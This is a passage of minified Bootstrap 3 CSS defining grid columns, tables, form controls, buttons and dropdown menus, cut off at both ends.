(min-width:1200px){.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9{float:left}.col-lg-12{width:100%}.col-lg-11{width:91.66666667%}.col-lg-10{width:83.33333333%}.col-lg-9{width:75%}.col-lg-8{width:66.66666667%}.col-lg-7{width:58.33333333%}.col-lg-6{width:50%}.col-lg-5{width:41.66666667%}.col-lg-4{width:33.33333333%}.col-lg-3{width:25%}.col-lg-2{width:16.66666667%}.col-lg-1{width:8.33333333%}.col-lg-pull-12{right:100%}.col-lg-pull-11{right:91.66666667%}.col-lg-pull-10{right:83.33333333%}.col-lg-pull-9{right:75%}.col-lg-pull-8{right:66.66666667%}.col-lg-pull-7{right:58.33333333%}.col-lg-pull-6{right:50%}.col-lg-pull-5{right:41.66666667%}.col-lg-pull-4{right:33.33333333%}.col-lg-pull-3{right:25%}.col-lg-pull-2{right:16.66666667%}.col-lg-pull-1{right:8.33333333%}.col-lg-pull-0{right:auto}.col-lg-push-12{left:100%}.col-lg-push-11{left:91.66666667%}.col-lg-push-10{left:83.33333333%}.col-lg-push-9{left:75%}.col-lg-push-8{left:66.66666667%}.col-lg-push-7{left:58.33333333%}.col-lg-push-6{left:50%}.col-lg-push-5{left:41.66666667%}.col-lg-push-4{left:33.33333333%}.col-lg-push-3{left:25%}.col-lg-push-2{left:16.66666667%}.col-lg-push-1{left:8.33333333%}.col-lg-push-0{left:auto}.col-lg-offset-12{margin-left:100%}.col-lg-offset-11{margin-left:91.66666667%}.col-lg-offset-10{margin-left:83.33333333%}.col-lg-offset-9{margin-left:75%}.col-lg-offset-8{margin-left:66.66666667%}.col-lg-offset-7{margin-left:58.33333333%}.col-lg-offset-6{margin-left:50%}.col-lg-offset-5{margin-left:41.66666667%}.col-lg-offset-4{margin-left:33.33333333%}.col-lg-offset-3{margin-left:25%}.col-lg-offset-2{margin-left:16.66666667%}.col-lg-offset-1{margin-left:8.33333333%}.col-lg-offset-0{margin-left:0}}table{background-color:transparent}caption{padding-top:8px;padding-bottom:8px;color:#777;text-align:left}th{text-align:left}.table{width:100%;max-width:100%;margin-bottom:20px}.table>tbody>tr>td,.table>tbody>tr>th,.table>tfoot>tr>td,.table>tfoot>tr>th,.table>thead>tr>td,.table>thead>tr>th{padding:8px;line-height:1.42857143;vertical-align:top;border-top:1px solid #ddd}.table>thead>tr>th{vertical-align:bottom;border-bottom:2px solid #ddd}.table>caption+thead>tr:first-child>td,.table>caption+thead>tr:first-child>th,.table>colgroup+thead>tr:first-child>td,.table>colgroup+thead>tr:first-child>th,.table>thead:first-child>tr:first-child>td,.table>thead:first-child>tr:first-child>th{border-top:0}.table>tbody+tbody{border-top:2px solid #ddd}.table .table{background-color:#fff}.table-condensed>tbody>tr>td,.table-condensed>tbody>tr>th,.table-condensed>tfoot>tr>td,.table-condensed>tfoot>tr>th,.table-condensed>thead>tr>td,.table-condensed>thead>tr>th{padding:5px}.table-bordered{border:1px solid #ddd}.table-bordered>tbody>tr>td,.table-bordered>tbody>tr>th,.table-bordered>tfoot>tr>td,.table-bordered>tfoot>tr>th,.table-bordered>thead>tr>td,.table-bordered>thead>tr>th{border:1px solid #ddd}.table-bordered>thead>tr>td,.table-bordered>thead>tr>th{border-bottom-width:2px}.table-striped>tbody>tr:nth-of-type(odd){background-color:#f9f9f9}.table-hover>tbody>tr:hover{background-color:#f5f5f5}table col[class*=col-]{position:static;display:table-column;float:none}table td[class*=col-],table th[class*=col-]{position:static;display:table-cell;float:none}.table>tbody>tr.active>td,.table>tbody>tr.active>th,.table>tbody>tr>td.active,.table>tbody>tr>th.active,.table>tfoot>tr.active>td,.table>tfoot>tr.active>th,.table>tfoot>tr>td.active,.table>tfoot>tr>th.active,.table>thead>tr.active>td,.table>thead>tr.active>th,.table>thead>tr>td.active,.table>thead>tr>th.active{background-color:#f5f5f5}.table-hover>tbody>tr.active:hover>td,.table-hover>tbody>tr.active:hover>th,.table-hover>tbody>tr:hover>.active,.table-hover>tbody>tr>td.active:hover,.table-hover>tbody>tr>th.active:hover{background-color:#e8e8e8}.table>tbody>tr.success>td,.table>tbody>tr.success>th,.table>tbody>tr>td.success,.table>tbody>tr>th.success,.table>tfoot>tr.success>td,.table>tfoot>tr.success>th,.table>tfoot>tr>td.success,.table>tfoot>tr>th.success,.table>thead>tr.success>td,.table>thead>tr.success>th,.table>thead>tr>td.success,.table>thead>tr>th.success{background-color:#dff0d8}.table-hover>tbody>tr.success:hover>td,.table-hover>tbody>tr.success:hover>th,.table-hover>tbody>tr:hover>.success,.table-hover>tbody>tr>td.success:hover,.table-hover>tbody>tr>th.success:hover{background-color:#d0e9c6}.table>tbody>tr.info>td,.table>tbody>tr.info>th,.table>tbody>tr>td.info,.table>tbody>tr>th.info,.table>tfoot>tr.info>td,.table>tfoot>tr.info>th,.table>tfoot>tr>td.info,.table>tfoot>tr>th.info,.table>thead>tr.info>td,.table>thead>tr.info>th,.table>thead>tr>td.info,.table>thead>tr>th.info{background-color:#d9edf7}.table-hover>tbody>tr.info:hover>td,.table-hover>tbody>tr.info:hover>th,.table-hover>tbody>tr:hover>.info,.table-hover>tbody>tr>td.info:hover,.table-hover>tbody>tr>th.info:hover{background-color:#c4e3f3}.table>tbody>tr.warning>td,.table>tbody>tr.warning>th,.table>tbody>tr>td.warning,.table>tbody>tr>th.warning,.table>tfoot>tr.warning>td,.table>tfoot>tr.warning>th,.table>tfoot>tr>td.warning,.table>tfoot>tr>th.warning,.table>thead>tr.warning>td,.table>thead>tr.warning>th,.table>thead>tr>td.warning,.table>thead>tr>th.warning{background-color:#fcf8e3}.table-hover>tbody>tr.warning:hover>td,.table-hover>tbody>tr.warning:hover>th,.table-hover>tbody>tr:hover>.warning,.table-hover>tbody>tr>td.warning:hover,.table-hover>tbody>tr>th.warning:hover{background-color:#faf2cc}.table>tbody>tr.danger>td,.table>tbody>tr.danger>th,.table>tbody>tr>td.danger,.table>tbody>tr>th.danger,.table>tfoot>tr.danger>td,.table>tfoot>tr.danger>th,.table>tfoot>tr>td.danger,.table>tfoot>tr>th.danger,.table>thead>tr.danger>td,.table>thead>tr.danger>th,.table>thead>tr>td.danger,.table>thead>tr>th.danger{background-color:#f2dede}.table-hover>tbody>tr.danger:hover>td,.table-hover>tbody>tr.danger:hover>th,.table-hover>tbody>tr:hover>.danger,.table-hover>tbody>tr>td.danger:hover,.table-hover>tbody>tr>th.danger:hover{background-color:#ebcccc}.table-responsive{min-height:.01%;overflow-x:auto}@media screen and (max-width:767px){.table-responsive{width:100%;margin-bottom:15px;overflow-y:hidden;-ms-overflow-style:-ms-autohiding-scrollbar;border:1px solid #ddd}.table-responsive>.table{margin-bottom:0}.table-responsive>.table>tbody>tr>td,.table-responsive>.table>tbody>tr>th,.table-responsive>.table>tfoot>tr>td,.table-responsive>.table>tfoot>tr>th,.table-responsive>.table>thead>tr>td,.table-responsive>.table>thead>tr>th{white-space:nowrap}.table-responsive>.table-bordered{border:0}.table-responsive>.table-bordered>tbody>tr>td:first-child,.table-responsive>.table-bordered>tbody>tr>th:first-child,.table-responsive>.table-bordered>tfoot>tr>td:first-child,.table-responsive>.table-bordered>tfoot>tr>th:first-child,.table-responsive>.table-bordered>thead>tr>td:first-child,.table-responsive>.table-bordered>thead>tr>th:first-child{border-left:0}.table-responsive>.table-bordered>tbody>tr>td:last-child,.table-responsive>.table-bordered>tbody>tr>th:last-child,.table-responsive>.table-bordered>tfoot>tr>td:last-child,.table-responsive>.table-bordered>tfoot>tr>th:last-child,.table-responsive>.table-bordered>thead>tr>td:last-child,.table-responsive>.table-bordered>thead>tr>th:last-child{border-right:0}.table-responsive>.table-bordered>tbody>tr:last-child>td,.table-responsive>.table-bordered>tbody>tr:last-child>th,.table-responsive>.table-bordered>tfoot>tr:last-child>td,.table-responsive>.table-bordered>tfoot>tr:last-child>th{border-bottom:0}}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;padding:0;margin-bottom:20px;font-size:21px;line-height:inherit;color:#333;border:0;border-bottom:1px solid #e5e5e5}label{display:inline-block;max-width:100%;margin-bottom:5px;font-weight:700}input[type=search]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}input[type=checkbox],input[type=radio]{margin:4px 0 0;margin-top:1px\9;line-height:normal}input[type=file]{display:block}input[type=range]{display:block;width:100%}select[multiple],select[size]{height:auto}input[type=file]:focus,input[type=checkbox]:focus,input[type=radio]:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}output{display:block;padding-top:7px;font-size:14px;line-height:1.42857143;color:#555}.form-control{display:block;width:100%;height:34px;padding:6px 12px;font-size:14px;line-height:1.42857143;color:#555;background-color:#fff;background-image:none;border:1px solid #ccc;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075);-webkit-transition:border-color ease-in-out .15s,-webkit-box-shadow ease-in-out .15s;-o-transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s;transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s}.form-control:focus{border-color:#66afe9;outline:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,.6)}.form-control::-moz-placeholder{color:#999;opacity:1}.form-control:-ms-input-placeholder{color:#999}.form-control::-webkit-input-placeholder{color:#999}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{background-color:#eee;opacity:1}.form-control[disabled],fieldset[disabled] .form-control{cursor:not-allowed}textarea.form-control{height:auto}input[type=search]{-webkit-appearance:none}@media screen and (-webkit-min-device-pixel-ratio:0){input[type=date].form-control,input[type=time].form-control,input[type=datetime-local].form-control,input[type=month].form-control{line-height:34px}.input-group-sm input[type=date],.input-group-sm input[type=time],.input-group-sm input[type=datetime-local],.input-group-sm input[type=month],input[type=date].input-sm,input[type=time].input-sm,input[type=datetime-local].input-sm,input[type=month].input-sm{line-height:30px}.input-group-lg input[type=date],.input-group-lg input[type=time],.input-group-lg input[type=datetime-local],.input-group-lg input[type=month],input[type=date].input-lg,input[type=time].input-lg,input[type=datetime-local].input-lg,input[type=month].input-lg{line-height:46px}}.form-group{margin-bottom:15px}.checkbox,.radio{position:relative;display:block;margin-top:10px;margin-bottom:10px}.checkbox label,.radio label{min-height:20px;padding-left:20px;margin-bottom:0;font-weight:400;cursor:pointer}.checkbox input[type=checkbox],.checkbox-inline input[type=checkbox],.radio input[type=radio],.radio-inline input[type=radio]{position:absolute;margin-top:4px\9;margin-left:-20px}.checkbox+.checkbox,.radio+.radio{margin-top:-5px}.checkbox-inline,.radio-inline{position:relative;display:inline-block;padding-left:20px;margin-bottom:0;font-weight:400;vertical-align:middle;cursor:pointer}.checkbox-inline+.checkbox-inline,.radio-inline+.radio-inline{margin-top:0;margin-left:10px}fieldset[disabled] input[type=checkbox],fieldset[disabled] input[type=radio],input[type=checkbox].disabled,input[type=checkbox][disabled],input[type=radio].disabled,input[type=radio][disabled]{cursor:not-allowed}.checkbox-inline.disabled,.radio-inline.disabled,fieldset[disabled] .checkbox-inline,fieldset[disabled] .radio-inline{cursor:not-allowed}.checkbox.disabled label,.radio.disabled label,fieldset[disabled] .checkbox label,fieldset[disabled] .radio label{cursor:not-allowed}.form-control-static{min-height:34px;padding-top:7px;padding-bottom:7px;margin-bottom:0}.form-control-static.input-lg,.form-control-static.input-sm{padding-right:0;padding-left:0}.input-sm{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}select.input-sm{height:30px;line-height:30px}select[multiple].input-sm,textarea.input-sm{height:auto}.form-group-sm .form-control{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}.form-group-sm select.form-control{height:30px;line-height:30px}.form-group-sm select[multiple].form-control,.form-group-sm textarea.form-control{height:auto}.form-group-sm .form-control-static{height:30px;min-height:32px;padding:6px 10px;font-size:12px;line-height:1.5}.input-lg{height:46px;padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}select.input-lg{height:46px;line-height:46px}select[multiple].input-lg,textarea.input-lg{height:auto}.form-group-lg .form-control{height:46px;padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}.form-group-lg select.form-control{height:46px;line-height:46px}.form-group-lg select[multiple].form-control,.form-group-lg textarea.form-control{height:auto}.form-group-lg .form-control-static{height:46px;min-height:38px;padding:11px 16px;font-size:18px;line-height:1.3333333}.has-feedback{position:relative}.has-feedback .form-control{padding-right:42.5px}.form-control-feedback{position:absolute;top:0;right:0;z-index:2;display:block;width:34px;height:34px;line-height:34px;text-align:center;pointer-events:none}.form-group-lg .form-control+.form-control-feedback,.input-group-lg+.form-control-feedback,.input-lg+.form-control-feedback{width:46px;height:46px;line-height:46px}.form-group-sm .form-control+.form-control-feedback,.input-group-sm+.form-control-feedback,.input-sm+.form-control-feedback{width:30px;height:30px;line-height:30px}.has-success .checkbox,.has-success .checkbox-inline,.has-success .control-label,.has-success .help-block,.has-success .radio,.has-success .radio-inline,.has-success.checkbox label,.has-success.checkbox-inline label,.has-success.radio label,.has-success.radio-inline label{color:#3c763d}.has-success .form-control{border-color:#3c763d;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-success .form-control:focus{border-color:#2b542c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #67b168;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #67b168}.has-success .input-group-addon{color:#3c763d;background-color:#dff0d8;border-color:#3c763d}.has-success .form-control-feedback{color:#3c763d}.has-warning .checkbox,.has-warning .checkbox-inline,.has-warning .control-label,.has-warning .help-block,.has-warning .radio,.has-warning .radio-inline,.has-warning.checkbox label,.has-warning.checkbox-inline label,.has-warning.radio label,.has-warning.radio-inline label{color:#8a6d3b}.has-warning .form-control{border-color:#8a6d3b;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-warning .form-control:focus{border-color:#66512c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #c0a16b;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #c0a16b}.has-warning .input-group-addon{color:#8a6d3b;background-color:#fcf8e3;border-color:#8a6d3b}.has-warning .form-control-feedback{color:#8a6d3b}.has-error .checkbox,.has-error .checkbox-inline,.has-error .control-label,.has-error .help-block,.has-error .radio,.has-error .radio-inline,.has-error.checkbox label,.has-error.checkbox-inline label,.has-error.radio label,.has-error.radio-inline label{color:#a94442}.has-error .form-control{border-color:#a94442;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-error .form-control:focus{border-color:#843534;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #ce8483;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #ce8483}.has-error .input-group-addon{color:#a94442;background-color:#f2dede;border-color:#a94442}.has-error .form-control-feedback{color:#a94442}.has-feedback label~.form-control-feedback{top:25px}.has-feedback label.sr-only~.form-control-feedback{top:0}.help-block{display:block;margin-top:5px;margin-bottom:10px;color:#737373}@media (min-width:768px){.form-inline .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .form-control-static{display:inline-block}.form-inline .input-group{display:inline-table;vertical-align:middle}.form-inline .input-group .form-control,.form-inline .input-group .input-group-addon,.form-inline .input-group .input-group-btn{width:auto}.form-inline .input-group>.form-control{width:100%}.form-inline .control-label{margin-bottom:0;vertical-align:middle}.form-inline .checkbox,.form-inline .radio{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}.form-inline .checkbox label,.form-inline .radio label{padding-left:0}.form-inline .checkbox input[type=checkbox],.form-inline .radio input[type=radio]{position:relative;margin-left:0}.form-inline .has-feedback .form-control-feedback{top:0}}.form-horizontal .checkbox,.form-horizontal .checkbox-inline,.form-horizontal .radio,.form-horizontal .radio-inline{padding-top:7px;margin-top:0;margin-bottom:0}.form-horizontal .checkbox,.form-horizontal .radio{min-height:27px}.form-horizontal .form-group{margin-right:-15px;margin-left:-15px}@media (min-width:768px){.form-horizontal .control-label{padding-top:7px;margin-bottom:0;text-align:right}}.form-horizontal .has-feedback .form-control-feedback{right:15px}@media (min-width:768px){.form-horizontal .form-group-lg .control-label{padding-top:14.33px;font-size:18px}}@media (min-width:768px){.form-horizontal .form-group-sm .control-label{padding-top:6px;font-size:12px}}.btn{display:inline-block;padding:6px 12px;margin-bottom:0;font-size:14px;font-weight:400;line-height:1.42857143;text-align:center;white-space:nowrap;vertical-align:middle;-ms-touch-action:manipulation;touch-action:manipulation;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-image:none;border:1px solid transparent;border-radius:4px}.btn.active.focus,.btn.active:focus,.btn.focus,.btn:active.focus,.btn:active:focus,.btn:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn.focus,.btn:focus,.btn:hover{color:#333;text-decoration:none}.btn.active,.btn:active{background-image:none;outline:0;-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn.disabled,.btn[disabled],fieldset[disabled] .btn{cursor:not-allowed;filter:alpha(opacity=65);-webkit-box-shadow:none;box-shadow:none;opacity:.65}a.btn.disabled,fieldset[disabled] a.btn{pointer-events:none}.btn-default{color:#333;background-color:#fff;border-color:#ccc}.btn-default.focus,.btn-default:focus{color:#333;background-color:#e6e6e6;border-color:#8c8c8c}.btn-default:hover{color:#333;background-color:#e6e6e6;border-color:#adadad}.btn-default.active,.btn-default:active,.open>.dropdown-toggle.btn-default{color:#333;background-color:#e6e6e6;border-color:#adadad}.btn-default.active.focus,.btn-default.active:focus,.btn-default.active:hover,.btn-default:active.focus,.btn-default:active:focus,.btn-default:active:hover,.open>.dropdown-toggle.btn-default.focus,.open>.dropdown-toggle.btn-default:focus,.open>.dropdown-toggle.btn-default:hover{color:#333;background-color:#d4d4d4;border-color:#8c8c8c}.btn-default.active,.btn-default:active,.open>.dropdown-toggle.btn-default{background-image:none}.btn-default.disabled,.btn-default.disabled.active,.btn-default.disabled.focus,.btn-default.disabled:active,.btn-default.disabled:focus,.btn-default.disabled:hover,.btn-default[disabled],.btn-default[disabled].active,.btn-default[disabled].focus,.btn-default[disabled]:active,.btn-default[disabled]:focus,.btn-default[disabled]:hover,fieldset[disabled] .btn-default,fieldset[disabled] .btn-default.active,fieldset[disabled] .btn-default.focus,fieldset[disabled] .btn-default:active,fieldset[disabled] .btn-default:focus,fieldset[disabled] .btn-default:hover{background-color:#fff;border-color:#ccc}.btn-default .badge{color:#fff;background-color:#333}.btn-primary{color:#fff;background-color:#337ab7;border-color:#2e6da4}.btn-primary.focus,.btn-primary:focus{color:#fff;background-color:#286090;border-color:#122b40}.btn-primary:hover{color:#fff;background-color:#286090;border-color:#204d74}.btn-primary.active,.btn-primary:active,.open>.dropdown-toggle.btn-primary{color:#fff;background-color:#286090;border-color:#204d74}.btn-primary.active.focus,.btn-primary.active:focus,.btn-primary.active:hover,.btn-primary:active.focus,.btn-primary:active:focus,.btn-primary:active:hover,.open>.dropdown-toggle.btn-primary.focus,.open>.dropdown-toggle.btn-primary:focus,.open>.dropdown-toggle.btn-primary:hover{color:#fff;background-color:#204d74;border-color:#122b40}.btn-primary.active,.btn-primary:active,.open>.dropdown-toggle.btn-primary{background-image:none}.btn-primary.disabled,.btn-primary.disabled.active,.btn-primary.disabled.focus,.btn-primary.disabled:active,.btn-primary.disabled:focus,.btn-primary.disabled:hover,.btn-primary[disabled],.btn-primary[disabled].active,.btn-primary[disabled].focus,.btn-primary[disabled]:active,.btn-primary[disabled]:focus,.btn-primary[disabled]:hover,fieldset[disabled] .btn-primary,fieldset[disabled] .btn-primary.active,fieldset[disabled] .btn-primary.focus,fieldset[disabled] .btn-primary:active,fieldset[disabled] .btn-primary:focus,fieldset[disabled] .btn-primary:hover{background-color:#337ab7;border-color:#2e6da4}.btn-primary .badge{color:#337ab7;background-color:#fff}.btn-success{color:#fff;background-color:#5cb85c;border-color:#4cae4c}.btn-success.focus,.btn-success:focus{color:#fff;background-color:#449d44;border-color:#255625}.btn-success:hover{color:#fff;background-color:#449d44;border-color:#398439}.btn-success.active,.btn-success:active,.open>.dropdown-toggle.btn-success{color:#fff;background-color:#449d44;border-color:#398439}.btn-success.active.focus,.btn-success.active:focus,.btn-success.active:hover,.btn-success:active.focus,.btn-success:active:focus,.btn-success:active:hover,.open>.dropdown-toggle.btn-success.focus,.open>.dropdown-toggle.btn-success:focus,.open>.dropdown-toggle.btn-success:hover{color:#fff;background-color:#398439;border-color:#255625}.btn-success.active,.btn-success:active,.open>.dropdown-toggle.btn-success{background-image:none}.btn-success.disabled,.btn-success.disabled.active,.btn-success.disabled.focus,.btn-success.disabled:active,.btn-success.disabled:focus,.btn-success.disabled:hover,.btn-success[disabled],.btn-success[disabled].active,.btn-success[disabled].focus,.btn-success[disabled]:active,.btn-success[disabled]:focus,.btn-success[disabled]:hover,fieldset[disabled] .btn-success,fieldset[disabled] .btn-success.active,fieldset[disabled] .btn-success.focus,fieldset[disabled] .btn-success:active,fieldset[disabled] .btn-success:focus,fieldset[disabled] .btn-success:hover{background-color:#5cb85c;border-color:#4cae4c}.btn-success .badge{color:#5cb85c;background-color:#fff}.btn-info{color:#fff;background-color:#5bc0de;border-color:#46b8da}.btn-info.focus,.btn-info:focus{color:#fff;background-color:#31b0d5;border-color:#1b6d85}.btn-info:hover{color:#fff;background-color:#31b0d5;border-color:#269abc}.btn-info.active,.btn-info:active,.open>.dropdown-toggle.btn-info{color:#fff;background-color:#31b0d5;border-color:#269abc}.btn-info.active.focus,.btn-info.active:focus,.btn-info.active:hover,.btn-info:active.focus,.btn-info:active:focus,.btn-info:active:hover,.open>.dropdown-toggle.btn-info.focus,.open>.dropdown-toggle.btn-info:focus,.open>.dropdown-toggle.btn-info:hover{color:#fff;background-color:#269abc;border-color:#1b6d85}.btn-info.active,.btn-info:active,.open>.dropdown-toggle.btn-info{background-image:none}.btn-info.disabled,.btn-info.disabled.active,.btn-info.disabled.focus,.btn-info.disabled:active,.btn-info.disabled:focus,.btn-info.disabled:hover,.btn-info[disabled],.btn-info[disabled].active,.btn-info[disabled].focus,.btn-info[disabled]:active,.btn-info[disabled]:focus,.btn-info[disabled]:hover,fieldset[disabled] .btn-info,fieldset[disabled] .btn-info.active,fieldset[disabled] .btn-info.focus,fieldset[disabled] .btn-info:active,fieldset[disabled] .btn-info:focus,fieldset[disabled] .btn-info:hover{background-color:#5bc0de;border-color:#46b8da}.btn-info .badge{color:#5bc0de;background-color:#fff}.btn-warning{color:#fff;background-color:#f0ad4e;border-color:#eea236}.btn-warning.focus,.btn-warning:focus{color:#fff;background-color:#ec971f;border-color:#985f0d}.btn-warning:hover{color:#fff;background-color:#ec971f;border-color:#d58512}.btn-warning.active,.btn-warning:active,.open>.dropdown-toggle.btn-warning{color:#fff;background-color:#ec971f;border-color:#d58512}.btn-warning.active.focus,.btn-warning.active:focus,.btn-warning.active:hover,.btn-warning:active.focus,.btn-warning:active:focus,.btn-warning:active:hover,.open>.dropdown-toggle.btn-warning.focus,.open>.dropdown-toggle.btn-warning:focus,.open>.dropdown-toggle.btn-warning:hover{color:#fff;background-color:#d58512;border-color:#985f0d}.btn-warning.active,.btn-warning:active,.open>.dropdown-toggle.btn-warning{background-image:none}.btn-warning.disabled,.btn-warning.disabled.active,.btn-warning.disabled.focus,.btn-warning.disabled:active,.btn-warning.disabled:focus,.btn-warning.disabled:hover,.btn-warning[disabled],.btn-warning[disabled].active,.btn-warning[disabled].focus,.btn-warning[disabled]:active,.btn-warning[disabled]:focus,.btn-warning[disabled]:hover,fieldset[disabled] .btn-warning,fieldset[disabled] .btn-warning.active,fieldset[disabled] .btn-warning.focus,fieldset[disabled] .btn-warning:active,fieldset[disabled] .btn-warning:focus,fieldset[disabled] .btn-warning:hover{background-color:#f0ad4e;border-color:#eea236}.btn-warning .badge{color:#f0ad4e;background-color:#fff}.btn-danger{color:#fff;background-color:#d9534f;border-color:#d43f3a}.btn-danger.focus,.btn-danger:focus{color:#fff;background-color:#c9302c;border-color:#761c19}.btn-danger:hover{color:#fff;background-color:#c9302c;border-color:#ac2925}.btn-danger.active,.btn-danger:active,.open>.dropdown-toggle.btn-danger{color:#fff;background-color:#c9302c;border-color:#ac2925}.btn-danger.active.focus,.btn-danger.active:focus,.btn-danger.active:hover,.btn-danger:active.focus,.btn-danger:active:focus,.btn-danger:active:hover,.open>.dropdown-toggle.btn-danger.focus,.open>.dropdown-toggle.btn-danger:focus,.open>.dropdown-toggle.btn-danger:hover{color:#fff;background-color:#ac2925;border-color:#761c19}.btn-danger.active,.btn-danger:active,.open>.dropdown-toggle.btn-danger{background-image:none}.btn-danger.disabled,.btn-danger.disabled.active,.btn-danger.disabled.focus,.btn-danger.disabled:active,.btn-danger.disabled:focus,.btn-danger.disabled:hover,.btn-danger[disabled],.btn-danger[disabled].active,.btn-danger[disabled].focus,.btn-danger[disabled]:active,.btn-danger[disabled]:focus,.btn-danger[disabled]:hover,fieldset[disabled] .btn-danger,fieldset[disabled] .btn-danger.active,fieldset[disabled] .btn-danger.focus,fieldset[disabled] .btn-danger:active,fieldset[disabled] .btn-danger:focus,fieldset[disabled] .btn-danger:hover{background-color:#d9534f;border-color:#d43f3a}.btn-danger .badge{color:#d9534f;background-color:#fff}.btn-link{font-weight:400;color:#337ab7;border-radius:0}.btn-link,.btn-link.active,.btn-link:active,.btn-link[disabled],fieldset[disabled] .btn-link{background-color:transparent;-webkit-box-shadow:none;box-shadow:none}.btn-link,.btn-link:active,.btn-link:focus,.btn-link:hover{border-color:transparent}.btn-link:focus,.btn-link:hover{color:#23527c;text-decoration:underline;background-color:transparent}.btn-link[disabled]:focus,.btn-link[disabled]:hover,fieldset[disabled] .btn-link:focus,fieldset[disabled] .btn-link:hover{color:#777;text-decoration:none}.btn-group-lg>.btn,.btn-lg{padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}.btn-group-sm>.btn,.btn-sm{padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}.btn-group-xs>.btn,.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;border-radius:3px}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:5px}input[type=button].btn-block,input[type=reset].btn-block,input[type=submit].btn-block{width:100%}.fade{opacity:0;-webkit-transition:opacity .15s linear;-o-transition:opacity .15s linear;transition:opacity .15s linear}.fade.in{opacity:1}.collapse{display:none}.collapse.in{display:block}tr.collapse.in{display:table-row}tbody.collapse.in{display:table-row-group}.collapsing{position:relative;height:0;overflow:hidden;-webkit-transition-timing-function:ease;-o-transition-timing-function:ease;transition-timing-function:ease;-webkit-transition-duration:.35s;-o-transition-duration:.35s;transition-duration:.35s;-webkit-transition-property:height,visibility;-o-transition-property:height,visibility;transition-property:height,visibility}.caret{display:inline-block;width:0;height:0;margin-left:2px;vertical-align:middle;border-top:4px dashed;border-top:4px solid\9;border-right:4px solid transparent;border-left:4px solid transparent}.dropdown,.dropup{position:relative}.dropdown-toggle:focus{outline:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:160px;padding:5px 0;margin:2px 0 0;font-size:14px;text-align:left;list-style:none;background-color:#fff;-webkit-background-clip:padding-box;background-clip:padding-box;border:1px solid #ccc;border:1px solid rgba(0,0,0,.15);border-radius:4px;-webkit-box-shadow:0 6px 12px rgba(0,0,0,.175);box-shadow:0 6px 12px rgba(0,0,0,.175)}.dropdown-menu.pull-right{right:0;left:auto}.dropdown-menu .divider{height:1px;margin:9px 0;overflow:hidden;background-color:#e5e5e5}.dropdown-menu>li>a{display:block;padding:3px 20px;clear:both;font-weight:400;line-height:1.42857143;color:#333;white-space:nowrap}.dropdown-menu>li>a:focus,.dropdown-menu>li>a:hover{color:#262626;text-decoration:none;background-color:#f5f5f5}.dropdown-menu>.active>a,.dropdown-menu>.active>a:focus,.dropdown-menu>.active>a:hover{color:#fff;text-decoration:none;background-color:#337ab7;outline:0}.dropdown-menu>.disabled>a,.dropdown-menu>.disabled>a:focus,.dropdown-menu>.disabled>a:hover{color:#777}.dropdown-menu>.disabled>a:focus,.dropdown-menu>.disabled>a:hover{text-decoration:none;cursor:not-allowed;background-color:transparent;background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.open>.dropdown-menu{display:block}.open>a{outline:0}.dropdown-menu-right{right:0;left:auto}.dropdown-menu-left{right:auto;left:0}.dropdown-header{display:block;padding:3px 20px;font-size:12px;line-height:1.42857143;color:#777;white-space:nowrap}.dropdown-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:990}.pull-right>.dropdown-menu{right:0;left:auto}.dropup .caret,.navbar-fixed-bottom .dropdown .caret{content:"";border-top:0;border-bottom:4px dashed;border-bottom:4px solid\9}.dropup .dropdown-menu,.navbar-fixed-bottom .dropdown .dropdown-menu{top:auto;bottom:100%;margin-bottom:2px}@media (min-width:768px){.navbar-right .dropdown-menu{right:0;left:auto}.navbar-right 